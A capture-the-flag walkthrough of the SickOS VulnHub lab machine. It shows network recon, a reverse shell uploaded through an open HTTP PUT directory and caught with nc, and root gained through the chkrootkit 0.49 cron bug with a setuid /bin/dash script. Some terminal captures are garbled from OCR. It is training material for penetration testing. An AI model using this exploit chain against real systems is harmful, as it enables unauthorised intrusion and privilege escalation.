SickOS1.3

root@kali:~/Documents# nmap -sV -O -v 192.168.141.133

Starting Nmap 7.70 (https://nmap.org) at 2018-11-08 15:59 CST

NSE: Loaded 43 scripts for scanning. Initiating ARP Ping Scan at 15:59 Scanning 192.168.141.133 [1 port]

Completed ARP Ping Scan at 15:59, 0.27s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at 15:59

Completed Parallel DNS resolution of 1 host. at 15:59, 13.01s elapsed

Initiating SYN Stealth Scan at 15:59

Scanning 192.168.141.133 [1000 ports]

Discovered open port 22/tcp on 192.168.141.133 Discovered open port 80/tcp on 192.168.141.133

Completed SYN Stealth Scan at 15:59, 5.37s elapsed (1000 total ports)

Initiating Service scan at 16:00

Scanning 2 services on 192.168.141.133

Completed Service scan at 16:00, 6.60s elapsed (2 services on 1 host)

Initiating OS detection (try #1) against 192.168.141.133

NSE: Script scanning 192.168.141.133.

Initiating NSE at 16:00

Completed NSE at 16:00, 0.54s elapsed

Initiating NSE at 16:00

Completed NSE at 16:00, 0.00s elapsed

Nmap scan report for 192.168.141.133

Host is up (0.011s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)

80/tcp open http lighttpd 1.4.28

MAC Address: 00:0C:29:48:C6:21 (VMware)

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: general purpose Running: Linux 3.X|4.X

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

OS details: Linux 3.10 - 4.11, Linux 3.2 - 4.9, Linux 4.4

Uptime guess: 192.674 days (since Mon Apr 30 00:49:03 2018)

Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=256 (Good luck!)

IP ID Sequence Generation: All zeros

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 34.90 seconds Raw packets sent: 2042 (92.352KB) | Rcvd: 50 (4.548KB) - Nikto v2.1.6

+ Target IP: 192.168.141.133 + Target Hostname: 192.168.141.133

+ Target Port: 80

+ Start Time: 2018-11-08 16:03:08 (GMT-6)

- + Server: lighttpd/1.4.28
- + The anti-clickjacking X-Frame-Options header is not present.
- + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
- + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
- + All CGI directories 'found', use '-C none' to test none
- + Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21
- + 26188 requests: 0 error(s) and 4 item(s) reported on remote host
- + End Time: 2018-11-08 16:04:35 (GMT-6) (87 seconds)

+ 1 host(s) tested

root@kali:~# dirb http://192.168.141.133/

DIRB v2.22

By The Dark Raver

START_TIME: Thu Nov 8 16:08:00 2018 URL_BASE: http://192.168.141.133/

WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

- ---- Scanning URL: http://192.168.141.133/ ----
- + http://192.168.141.133/index.php (CODE:200|SIZE:163)
- ==> DIRECTORY: http://192.168.141.133/test/
- ---- Entering directory: http://192.168.141.133/test/ ----
- (!) WARNING: Directory IS LISTABLE. No need to scan it.

(Use mode '-w' if you want to scan it anyway)

END_TIME: Thu Nov 8 16:08:06 2018 DOWNLOADED: 4612 - FOUND: 1

root@kali:~#

```
root@kali:~# curl -X OPTIONS 192.168.141.133 -vv
* Rebuilt URL to: 192.168.141.133/
* Trying 192.168.141.133...
* TCP_NODELAY set
* Connected to 192.168.141.133 (192.168.141.133) port 80 (#0)
> OPTIONS / HTTP/1.1
> Host: 192.168.141.133
> User-Agent: curl/7.58.0
> Accept: */*
< HTTP/1.1 200 OK
< X-Powered-By: PHP/5.3.10-1ubuntu3.21
< Content-type: text/html
< Transfer-Encoding: chunked
< Date: Thu, 08 Nov 2018 22:11:34 GMT
< Server: lighttpd/1.4.28
<html>
<img src="blow.jpg">
</html>
root@kali:~# curl -X PUT 192.168.141.133 -vv
* Rebuilt URL to: 192.168.141.133/
* Trying 192.168.141.133...
* TCP_NODELAY set
* Connected to 192.168.141.133 (192.168.141.133) port 80 (#0)
> PUT / HTTP/1.1
> Host: 192.168.141.133
> User-Agent: curl/7.58.0
> Accept: */*
< HTTP/1.1 200 OK
< X-Powered-By: PHP/5.3.10-1ubuntu3.21
< Content-type: text/html
< Transfer-Encoding: chunked
< Date: Thu, 08 Nov 2018 22:12:44 GMT
< Server: lighttpd/1.4.28
<
<html>
<img src="blow.jpg">
```

```
</html>
root@kali:~# curl -X PUTF 192.168.141.133 -vv
* Rebuilt URL to: 192.168.141.133/
* Trying 192.168.141.133...
* TCP NODELAY set
* Connected to 192.168.141.133 (192.168.141.133) port 80 (#0)
> PUTF / HTTP/1.1
> Host: 192.168.141.133
> User-Agent: curl/7.58.0
> Accept: */*
* HTTP 1.0, assume close after body
< HTTP/1.0 501 Not Implemented
< Content-Type: text/html
< Content-Length: 357
< Connection: close
< Date: Thu, 08 Nov 2018 22:14:14 GMT
< Server: lighttpd/1.4.28
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<title>501 - Not Implemented</title>
</head>
<body>
<h1>501 - Not Implemented</h1>
</body>
</html>
* Closing connection 0
PUTF failed but PUT is successful. Let's try to upload a shell!
root@kali:~/Downloads# curl -T php-reverse-shell.php http://192.168.141.133/test/
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>417 - Expectation Failed</title>
</head>
<body>
<h1>417 - Expectation Failed</h1>
</body>
</html>
```

Failed. Because: what's happening is that this webpage seems to work only with HTTP1.0 and curl seems to be using HTTP1.1. Doing some research I found this page http://www.xinotes.net/notes/note/1881/ which suggests the -0 flag uses HTTP1.0, and success! Our file was uploaded and we have RCE!

```
root@kali:~/Downloads# curl -T php-reverse-shell.php http://192.168.141.133/test/ -0 root@kali:~/Downloads#
```

```
Index of /test/
Name Last Modified Size Type
Parent Directory/ - Directory
php-reverse-shell.php 2018-Nov-08 14:20:48 5.3K application/x-httpd-php lighttpd/1.4.28
```

http://192.168.141.133/test/php-reverse-shell.php?cmd=ls

Now this next part was a bit tricky. I tried a php rshell script and used my cmd.php RCE script to make a connectback and nothing seemed to work. I thought maybe the firewall was blocking port 444 (which is the port I was using) and decided to try a port that is more likely to be open, such as 80 or 443 for visiting webpages. Changing ports around is successful and we have shell!

```
File Edit View Search Terminal Help

root@kali:~# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.25.164] from (UNKNOWN) [192.168.25.150] 39882
Linux ubuntu 3.11.0-15-generic #25~precisel-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2
014 i686 i686 i386 GNU/Linux
15:19:17 up 37 min, 0 users, load average: 0.06, 0.10, 0.07
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

$ | | |
```

I am in as the www-data user it seems. I do some quick enumeration and don't see anything too obvious at first. No obvious vulnerable running processes and at the time a kernel exploit didn't seem to exist. Digging deeper I decided to hit the logs and see if any sensitive logs were misconfigured, and uh oh! Seems like syslog is world readable, lets see what's going on.

```
root@kali: ~
 File Edit View Search Terminal Help
0 17:42:40 UTC 2014
www-data@ubuntu:/var/log$ ls -alh
                                                                                                                  4.0K Dec 13 04:41 .
4.0K Apr 26 2016 ..
15K Apr 12 2016 alternatives.log
4.0K Mar 30 2016 apt
52K Dec 13 15:22 auth.log
31 Mar 30 2016 boot
2.1K Dec 13 04:41 boot.log
768 Apr 25 2016 btmp
4.0K Oct 10 2012 dist-upgrade
94K Dec 13 04:41 dmesg
94K Apr 26 2016 dmesg.0
19K Apr 25 2016 dmesg.1.gz
19K Apr 16 2016 dmesg.2.gz
19K Apr 12 2016 dmesg.2.gz
19K Mar 30 2016 dmesg.4.gz
256K Apr 12 2016 dmesg.4.gz
256K Apr 12 2016 fsck
4.0K Mar 30 2016 fsck
4.0K Mar 30 2016 fsck
4.0K Mar 30 2016 lastlog
286K Apr 26 2016 lastlog
 drwxr-xr-x 10 root
drwxr-xr-x 12 root
                                                                                    root
root
  -rw-r--r-- 1 root
drwxr-xr-x 2 root
   rw-r----
                                          1 syslog
1 root
                                                                                    adm
adm
                                            1 root
1 root
2 root
1 root
                                                                                      utmp
 drwxr-xr-x
-rw-r----
                                                                                    root
adm
                                             1 root
1 root
                                                                                    adm
adm
    rw-r----
                                             1 root
1 root
                                                                                    adm
adm
                                                                                      adm
                                              1 root
                                          1 root root
2 root root
3 root root
1 syslog adm
1 root utmp
2 www-data www-data
 -rw-r--r--
drwxr-xr-x
  drwxr-xr-x
-rw-r----
                                                                                                                    868K Dec 13 04:41 kern.log
286K Apr 26 2016 Lastlog
a 4.0K Apr 12 2016 lighttpd
0 Mar 30 2016 mail.err
0 Mar 30 2016 mail.log
4.0K Mar 30 2016 news
941K Dec 13 15:22 syslog
329K Dec 13 04:41 udev
0 Mar 30 2016 ufw.log
4.0K Apr 16 2016 ufw.log
4.0K Mar 30 2016 vmware
4.2K Mar 30 2016 vmware
4.2K Mar 30 2016 vmware-install.log
354K Mar 30 2016 vmware-tools-upgrader.log
22K Dec 13 09:41 vmware-vmsvc.log
44K Dec 13 04:41 wtmp
  drwxr-x---
                                                                                 adm
adm
-rw-r----- 1 syslog

-rw-r----- 1 syslog

-rw-r---- 1 syslog

-rw-r---- 1 root

-rw-r---- 1 syslog

-rw-r---- 2 root

-rw-r-x-- 2 root

-rw-r-x-- 2 root
                                                                                   root
adm
    rw-r--r--
                                            1 root
1 root
  -rw-r--r--
-rw-rw-r--
                                            1 root
1 root
      ww-data@ubuntu:/var/log$
```

Looks like there's a crontab running a chkrootkit program every so often.

Interesting...at this point I was baffled for about a day, as it didnt seem /usr/bin/chkrootkit was world writeable and this is what cron was executing. After a while I decided to search for chkrootkit exploits and found this exploit in edb https://www.exploit-db.com/exploits/33899/. Checking the program since it is at least readable we find that it seems that 'file_port=\$file_port \$i' is missing quotations as is required by the exploit, meaning we have a vulnerable program!

```
root@kali: ~

File Edit View Search Terminal Help

www-data@ubuntu:/var/log$ cat /usr/sbin/chkrootkit | grep file_port=$file_port $^i
iat /usr/sbin/chkrootkit | grep file_port=$file_port $
file_port=
[ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \
file_port=$file_port $i

www-data@ubuntu:/var/log$
```

To exploit this vulnerability we simply have to create an exuctable file named 'update' in /tmp, chkrootkit will execute this as root and give us root code execution! I decide to create an 'update' script with the following code:

```
#!/bin/bash
chmod u+s /bin/dash
```

This makes /bin/dash setuid and since root owns it root will run it meaning we should get root by running it after the setuid bit is set! Now we just wait for the script to run, according to the syslog it should be in about 1 minute. After about 1 minute we pope an Is -alh /bin/dash and the setuid bit seems set! I run /bin/dash and huzzah, we are root!

```
root@kali: ~
                                                                                                                              O O O
File Edit View Search Terminal Help
www-data@ubuntu:/tmp$ ls -alh /bin/dash
ls -alh /bin/dash
-rwsr-xr-x 1 root root 98K Mar 29 2012 /bin/dash
 www-data@ubuntu:/tmp$ /bin/dash
/bin/dash
cd /root
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
chkrootkit-0.49
newRule
cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on eli
mination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s),
gathering more information about the target using different methods, though while developing many of the tools
were limited/completely blocked, to get a feel of Old School and testing it manually.
Thanks for giving this try.
@vulnhub: Thanks for hosting this UP!.
```

Thanks to D4rk for this fun machine to help me prepare for PWK!